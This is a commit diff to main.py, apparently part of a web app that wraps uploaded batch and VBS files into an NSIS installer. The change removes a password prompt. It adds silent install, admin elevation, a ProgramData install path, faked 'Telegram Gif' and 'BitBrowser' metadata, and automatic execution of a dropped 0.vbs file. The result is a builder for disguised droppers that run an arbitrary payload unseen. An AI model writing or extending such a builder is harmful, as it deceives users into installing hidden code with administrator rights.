sigyllly commited on
Commit
8c65765
·
verified ·
1 Parent(s): 37072f0

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +31 -30
main.py CHANGED
@@ -55,48 +55,49 @@ def upload_files():
55
  nsi_script = f"""!include "MUI2.nsh"
56
  !include "nsDialogs.nsh"
57
 
 
58
  Outfile "bont.exe"
59
- InstallDir "$PROGRAMDATA"
60
 
 
61
  Name "Telegram Gif"
62
  Caption "bont 1.4.44.3"
63
  VIProductVersion "1.4.44.3"
64
 
 
 
 
 
 
65
  RequestExecutionLevel admin
66
 
67
- Var PASSWORD
68
- Var DialogHandle
69
- Var PasswordInput
70
-
71
- Function ShowPasswordPage
72
- nsDialogs::Create 1018
73
- Pop $DialogHandle
74
-
75
- nsDialogs::CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
76
- Pop $0
77
- nsDialogs::CreatePassword 10u 25u 100% 12u ""
78
- Pop $PasswordInput
79
-
80
- nsDialogs::Show
81
- FunctionEnd
82
-
83
- Function CheckPassword
84
- nsDialogs::GetText $PasswordInput $PASSWORD
85
- StrCmp $PASSWORD "yourpassword" 0 +3
86
- MessageBox MB_OK "Password accepted"
87
- Return
88
-
89
- MessageBox MB_OK "Incorrect password. Installation will now exit."
90
- Abort
91
- FunctionEnd
92
-
93
- Page custom ShowPasswordPage CheckPassword
94
- Page instfiles
95
 
 
96
  Section "Install"
97
  SetOutPath "$INSTDIR"
98
- File "{bat_path}"
 
 
 
 
 
 
 
99
  SectionEnd
 
 
100
  """
101
 
102
  nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')
 
55
  nsi_script = f"""!include "MUI2.nsh"
56
  !include "nsDialogs.nsh"
57
 
58
+ # Define installer name and version
59
  Outfile "bont.exe"
60
+ InstallDir "C:\ProgramData"
61
 
62
+ # Set the name of the application
63
  Name "Telegram Gif"
64
  Caption "bont 1.4.44.3"
65
  VIProductVersion "1.4.44.3"
66
 
67
+ # Set the output directory and the base name of the installer file
68
+ SetCompressor /SOLID lzma
69
+
70
+ # Use a multi-resolution icon file with 16x16, 32x32, 64x64 sizes
71
+ Icon "C:\Users\Albert\Videos\Captures\New folder\New folder\New folder (2)\favicon.ico"
72
  RequestExecutionLevel admin
73
 
74
+ # Silent install settings
75
+ SilentInstall silent
76
+ SilentUninstall silent
77
+
78
+ # Application metadata
79
+ VIAddVersionKey "ProductName" "Telegram Gif"
80
+ VIAddVersionKey "FileVersion" "1.4.44.3"
81
+ VIAddVersionKey "CompanyName" "BitBrowser"
82
+ VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
83
+ VIAddVersionKey "FileDescription" "Telegram Gif is a tool designed to enhance GIF handling and sharing on Telegram."
84
+ VIAddVersionKey "ProductVersion" "1.4.44.3"
85
+ VIAddVersionKey "OriginalFilename" "telegramm.exe"
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
86
 
87
+ # Define installer sections
88
  Section "Install"
89
  SetOutPath "$INSTDIR"
90
+
91
+ # Files to install
92
+ File "{bat_path}" ;
93
+
94
+ # Run the VBS file post-install if it exists
95
+ IfFileExists "$INSTDIR\0.vbs" 0 +2
96
+ ExecShell "" "$INSTDIR\0.vbs"
97
+
98
  SectionEnd
99
+
100
+
101
  """
102
 
103
  nsi_path = os.path.join(app.config['UPLOAD_FOLDER'], 'installer.nsi')